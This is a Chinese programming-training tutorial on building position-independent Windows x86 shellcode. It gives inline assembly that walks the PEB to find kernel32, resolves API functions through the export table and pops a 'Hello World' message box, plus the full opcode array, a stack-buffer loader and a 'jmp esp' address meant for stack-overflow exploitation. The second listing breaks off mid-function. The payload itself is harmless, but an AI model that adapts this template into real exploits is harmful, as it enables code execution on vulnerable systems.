摘要:本文主要向大家介绍了C/C++知识点之制作跨平台的shellcode,通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。
本文主要向大家介绍了C/C++知识点之制作跨平台的shellcode,通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。
利用 jmp esp的原理 windows中有很多这种指令
先用dbg找一个
再把shellcode 转成opcode可以先测试一下(代码与opcode在最后)
后面多搞一些90 90 因为有的函数有几个参数
运行
// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
int _tmain(int argc, _TCHAR* argv[])
{
__asm {
pushad;
sub esp, 0x100;
jmp tag_Shellcode;
//[tag_Next-0x52] "GetProcAddress"
_asm _emit(0x47) _asm _emit(0x65) _asm _emit(0x74) _asm _emit(0x50)
_asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63) _asm _emit(0x41)
_asm _emit(0x64) _asm _emit(0x64) _asm _emit(0x72) _asm _emit(0x65)
_asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)
//[tag_Next-0x44] "LoadLibraryExA\0"
_asm _emit(0x4c) _asm _emit(0x6f) _asm _emit(0x61) _asm _emit(0x64)
_asm _emit(0x4c) _asm _emit(0x69) _asm _emit(0x62) _asm _emit(0x72)
_asm _emit(0x61) _asm _emit(0x72) _asm _emit(0x79) _asm _emit(0x45)
_asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)
//[tag_Next-0x35] "User32.dll\0"
_asm _emit(0x55) _asm _emit(0x73) _asm _emit(0x65) _asm _emit(0x72)
_asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2e) _asm _emit(0x64)
_asm _emit(0x6c) _asm _emit(0x6c) _asm _emit(0x00)
//[tag_Next-0x2A] "MessageBoxA\0"
_asm _emit(0x4d) _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73)
_asm _emit(0x61) _asm _emit(0x67) _asm _emit(0x65) _asm _emit(0x42)
_asm _emit(0x6f) _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)
//[tag_Next-0x1E] "ExitProcess\0"
_asm _emit(0x45) _asm _emit(0x78) _asm _emit(0x69) _asm _emit(0x74)
_asm _emit(0x50) _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63)
_asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)
//[tag_Next-0x12] "Hello World!\0"
_asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6c) _asm _emit(0x6c)
_asm _emit(0x6f) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6f)
_asm _emit(0x72) _asm _emit(0x6c) _asm _emit(0x64) _asm _emit(0x21)
_asm _emit(0x00)
tag_Shellcode:
call tag_Next;
tag_Next:
pop ebx;
//获取关键模块基址
mov esi, dword ptr fs : [0x30];
mov esi, [esi + 0x0c];
mov esi, [esi + 0x1c];
mov esi, [esi];
mov edx, [esi + 0x08];
//获取GetProcAddress的函数地址
push ebx;
push edx;
call fun_GetProcAddress;
mov esi, eax;
//获取LoadLibraryExA的函数地址
push edx;
lea ecx, [ebx - 0x44];
push ecx;
push edx;
call eax;
pop edx;
//调用Payload部分
push ebx;
push esi;
push eax;
push edx;
call fun_Payload;
fun_GetProcAddress:
push ebp;
mov ebp, esp;
sub esp, 0x0c;
push edx;
//获取EAT、ENT和EOT的地址
mov edx, [ebp + 0x08];
mov esi, [edx + 0x3c];
lea esi, [edx + esi];
mov esi, [esi + 0x78];
lea esi, [edx + esi];
mov edi, [esi + 0x1c];
lea edi, [edx + edi];
mov[ebp - 0x04], edi;
mov edi, [esi + 0x20];
lea edi, [edx + edi];
mov[ebp - 0x08], edi;
mov edi, [esi + 0x24];
lea edi, [edx + edi];
mov[ebp - 0x0c], edi;
//循环对比ENT中的函数名
xor eax, eax;
jmp tag_FirstCmp;
tag_CmpFunNameLoop:
inc eax;
tag_FirstCmp:
mov esi, [ebp - 0x08];
mov esi, [esi + 4 * eax];
mov edx, [ebp + 0x08];
lea esi, [edx + esi];
mov ebx, [ebp + 0x0c];
lea edi, [ebx - 0x53];
mov ecx, 0x0e;
cld;
repe cmpsb;
jne tag_CmpFunNameLoop;
//成功后找到对应的序号
mov esi, [ebp - 0x0c];
xor edi, edi;
mov di, [esi + eax * 2];
//使用序号作为索引,找到函数名所对应的函数地址
mov edx, [ebp - 0x04];
mov esi, [edx + edi * 4];
mov edx, [ebp + 0x08];
//返回获取到的关键函数地址
lea eax, [edx + esi];
pop edx;
mov esp, ebp;
pop ebp;
retn 0x08;
fun_Payload:
push ebp;
mov ebp, esp;
sub esp, 0x08;
mov ebx, [ebp + 0x14];
//获取MessageBoxA的函数地址
lea ecx, [ebx - 0x35];
push 0;
push 0;
push ecx;
call[ebp + 0x0c];
lea ecx, [ebx - 0x2A];
push ecx;
push eax;
call[ebp + 0x10];
mov[ebp - 0x04], eax;
//获取ExitProcess的函数地址
lea ecx, [ebx - 0x1E];
push ecx;
push[ebp + 0x08];
call[ebp + 0x10];
mov[ebp - 0x08], eax;
//显示
lea ecx, [ebx - 0x12];
push 0;
push ecx;
push ecx;
push 0;
call[ebp - 0x04];
push 0;
call[ebp - 0x08];
mov esp, ebp;
pop ebp;
retn 0x10;
}
return 0;
}
#include "stdafx.h"
int _tmain(int argc, _TCHAR* argv[])
{
char bShellcode[] = { "\x60\x81\xEC\x00\x01\x00\x00\xEB\x4E\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x45\x78\x41\x00\x55\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\x00\xE8\x00\x00\x00\x00\x5B\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x53\x52\xE8\x14\x00\x00\x00\x8B\xF0\x52\x8D\x4B\xBC\x51\x52\xFF\xD0\x5A\x53\x56\x50\x52\xE8\x6E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x32\x8B\x5D\x0C\x8D\x7B\xAD\xB9\x0E\x00\x00\x00\xFC\xF3\xA6\x75\xE3\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x08\x8B\x5D\x14\x8D\x4B\xCB\x6A\x00\x6A\x00\x51\xFF\x55\x0C\x8D\x4B\xD6\x51\x50\xFF\x55\x10\x89\x45\xFC\x8D\x4B\xE2\x51\xFF\x75\x08\xFF\x55\x10\x89\x45\xF8\x8D\x4B\xEE\x6A\x00\x51\x51\x6A\x00\xFF\x55\xFC\x6A\x00\xFF\x55\xF8\x8B\xE5\x5D\xC2" };
__asm {
lea eax, bShellcode;
push eax;
ret
}
return 0;
}
"\x60\x81\xEC\x00\x01\x00\x00\xEB\x4E\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x45\x78\x41\x00\x55\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\x00\xE8\x00\x00\x00\x00\x5B\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x53\x52\xE8\x14\x00\x00\x00\x8B\xF0\x52\x8D\x4B\xBC\x51\x52\xFF\xD0\x5A\x53\x56\x50\x52\xE8\x6E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x32\x8B\x5D\x0C\x8D\x7B\xAD\xB9\x0E\x00\x00\x00\xFC\xF3\xA6\x75\xE3\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x08\x8B\x5D\x14\x8D\x4B\xCB\x6A\x00\x6A\x00\x51\xFF\x55\x0C\x8D\x4B\xD6\x51\x50\xFF\x55\x10\x89\x45\xFC\x8D\x4B\xE2\x51\xFF\x75\x08\xFF\x55\x10\x89\x45\xF8\x8D\x4B\xEE\x6A\x00\x51\x51\x6A\x00\xFF\x55\xFC\x6A\x00\xFF\x55\xF8\x8B\xE5\x5D\xC2"
77460a9b jmp esp 地址
{
0x60, 0x81, 0xEC, 0x00, 0x01, 0x00, 0x00, 0xEB, 0x4E, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63,
0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72,
0x61, 0x72, 0x79, 0x45, 0x78, 0x41, 0x00, 0x55, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C,
0x6C, 0x00, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6F, 0x78, 0x41, 0x00, 0x45, 0x78,
0x69, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x00, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20,
0x57, 0x6F, 0x72, 0x6C, 0x64, 0x21, 0x00, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x64, 0x8B, 0x35,
0x30, 0x00, 0x00, 0x00, 0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x36, 0x8B, 0x56, 0x08, 0x53,
0x52, 0xE8, 0x14, 0x00, 0x00, 0x00, 0x8B, 0xF0, 0x52, 0x8D, 0x4B, 0xBC, 0x51, 0x52, 0xFF, 0xD0,
0x5A, 0x53, 0x56, 0x50, 0x52, 0xE8, 0x6E, 0x00, 0x00, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C,
0x52, 0x8B, 0x55, 0x08, 0x8B, 0x72, 0x3C, 0x8D, 0x34, 0x32, 0x8B, 0x76, 0x78, 0x8D, 0x34, 0x32,
0x8B, 0x7E, 0x1C, 0x8D, 0x3C, 0x3A, 0x89, 0x7D, 0xFC, 0x8B, 0x7E, 0x20, 0x8D, 0x3C, 0x3A, 0x89,
0x7D, 0xF8, 0x8B, 0x7E, 0x24, 0x8D, 0x3C, 0x3A, 0x89, 0x7D, 0xF4, 0x33, 0xC0, 0xEB, 0x01, 0x40,
0x8B, 0x75, 0xF8, 0x8B, 0x34, 0x86, 0x8B, 0x55, 0x08, 0x8D, 0x34, 0x32, 0x8B, 0x5D, 0x0C, 0x8D,
0x7B, 0xAD, 0xB9, 0x0E, 0x00, 0x00, 0x00, 0xFC, 0xF3, 0xA6, 0x75, 0xE3, 0x8B, 0x75, 0xF4, 0x33,
0xFF, 0x66, 0x8B, 0x3C, 0x46, 0x8B, 0x55, 0xFC, 0x8B, 0x34, 0xBA, 0x8B, 0x55, 0x08, 0x8D, 0x04,
0x32, 0x5A, 0x8B, 0xE5, 0x5D, 0xC2, 0x08, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x08, 0x8B, 0x5D,
0x14, 0x8D, 0x4B, 0xCB, 0x6A, 0x00, 0x6A, 0x00, 0x51, 0xFF, 0x55, 0x0C, 0x8D, 0x4B, 0xD6, 0x51,
0x50, 0xFF, 0x55, 0x10, 0x89, 0x45, 0xFC, 0x8D, 0x4B, 0xE2, 0x51, 0xFF, 0x75, 0x08, 0xFF, 0x55,
0x10, 0x89, 0x45, 0xF8, 0x8D, 0x4B, 0xEE, 0x6A, 0x00, 0x51, 0x51, 0x6A, 0x00, 0xFF, 0x55, 0xFC,
0x6A, 0x00, 0xFF, 0x55, 0xF8, 0x8B, 0xE5, 0x5D, 0xC2
};
// ConsoleApplication4.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
/* mov esi, dword ptr fs : [0x30]
mov esi, [esi+0x0c]
mov esi, [esi+0x1c]
mov esi, [esi]
mov ebx, [esi+0x08]
*/
int _tmain(int argc, _TCHAR* argv[])
{
__asm
{
pushad
sub esp,0x20
jmp tag_shellcode
//GetProcAddress
_asm _emit(0x47) _asm _emit(0x65) _asm _emit(0x74) _asm _emit(0x50)
_asm _emit(0x72) _asm _emit(0x6F) _asm _emit(0x63) _asm _emit(0x41)
_asm _emit(0x64) _asm _emit(0x64) _asm _emit(0x72) _asm _emit(0x65)
_asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)
//LoadLibraryExA
_asm _emit(0x4C) _asm _emit(0x6F) _asm _emit(0x61) _asm _emit(0x64)
_asm _emit(0x4C) _asm _emit(0x69) _asm _emit(0x62) _asm _emit(0x72)
_asm _emit(0x61) _asm _emit(0x72) _asm _emit(0x79) _asm _emit(0x45)
_asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)
//User32.dll
_asm _emit(0x55) _asm _emit(0x73) _asm _emit(0x65) _asm _emit(0x72)
_asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2E) _asm _emit(0x64)
_asm _emit(0x6C) _asm _emit(0x6C) _asm _emit(0x00)
//MessageBoxA
_asm _emit(0x4D) _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73)
_asm _emit(0x61) _asm _emit(0x67) _asm _emit(0x65) _asm _emit(0x42)
_asm _emit(0x6F) _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)
//ExitProcess
_asm _emit(0x45) _asm _emit(0x78) _asm _emit(0x69) _asm _emit(0x74)
_asm _emit(0x50) _asm _emit(0x72) _asm _emit(0x6F) _asm _emit(0x63)
_asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)
//FuckYou
_asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6C) _asm _emit(0x6C)
_asm _emit(0x6F) _asm _emit(0x20) _asm _emit(0x31) _asm _emit(0x35)
_asm _emit(0x50) _asm _emit(0x42) _asm _emit(0x21) _asm _emit(0x00)
tag_Shellcode:
call tag_Next
tag_Next:
pop ebx
mov esi, dword ptr fs : [0x30] //PEB的地址
mov esi, [esi+0x0c] //PEB_LDR_DATA结构的指针
mov esi, [esi+0x1c] //模块链表指针
mov esi, [esi] //第二个条目
mov edx, [esi+0x08] //kernel32.dll
push ebx //基址
push edx //kernel32.dll
call fun_GetProcAddress
mov esi,eax
push edx
lea ecx, [ebx-0x43]
push ecx
push edx
call eax
pop edx
push ebx
push esi
push eax
push edx
call fun_Payload
//获取关键函数地址,返回值关键函数地址
fun_GetProcAddress: //(int imagebase,int baseAddr)
push ebp
mov ebp,esp
sub esp,0x0c
push edx
//获取EAT,ENT,EOT
mov edx, [ebp+0x08] //edx =kernel32.dll
mov esi, [edx+0x3c] //esi =IMAGE_DOS_HEADER.e_lfanew
lea esi, [edx+esi] //PE文件头VA
mov esi, [esi+0x78] //IMAGE...EXPORT.VirtualAddress
lea esi, [edx+esi] //导出表VA
mov edi, [esi+0x1c] //IMAGE_EXP...AddressOfFunctions
lea edi, [edx+edi] //EAT vA
mov[ebp-0x04],edi //local1=edi=EAT VA
mov edi, [esi+0x20] //edi=AddressofName
lea edi, [edx+edi] //edi=ENT VA
mov[ebp-0x08],edi //local2=edi=ENT VA
mov edi, [esi+0x24] //AddressOfNameOrdinals
lea edi, [edx+edi] //edi=EOT VA
mov[ebp-0x0c],edi //local3=edi=EOT VA
xor eax,eax
jmp tag_FirstCmp
tag_CmpFunNameLoop:
inc eax
tag_FirstCmp:
mov esi, [ebp-0x08] //esi=loc2 ent
mov esi, [esi+4*eax] //esi=ENT RVA
mov edx, [ebp+0x08] //edx=Param_1(ImageBase)
lea esi, [edx+esi] //esi=ENT VA
mov ebx, [ebp+0x0c] //ebx=Pqram_2(BaseAddr)
lea edi, [ebx-0x52] //edi="GetProcAddress"
mov ecx,0x0E //eax="GetProcAddress"
cld
repe cmpsb
本文由职坐标整理并发布,希望对同学们有所帮助。了解更多详情请关注职坐标编程语言C/C+频道!
您输入的评论内容中包含违禁敏感词
我知道了
请输入正确的手机号码
请输入正确的验证码
您今天的短信下发次数太多了,明天再试试吧!
我们会在第一时间安排职业规划师联系您!
您也可以联系我们的职业规划师咨询:
版权所有 职坐标-一站式IT培训就业服务领导者 沪ICP备13042190号-4
上海海同信息科技有限公司 Copyright ©2015 www.zhizuobiao.com,All Rights Reserved.
沪公网安备 31011502005948号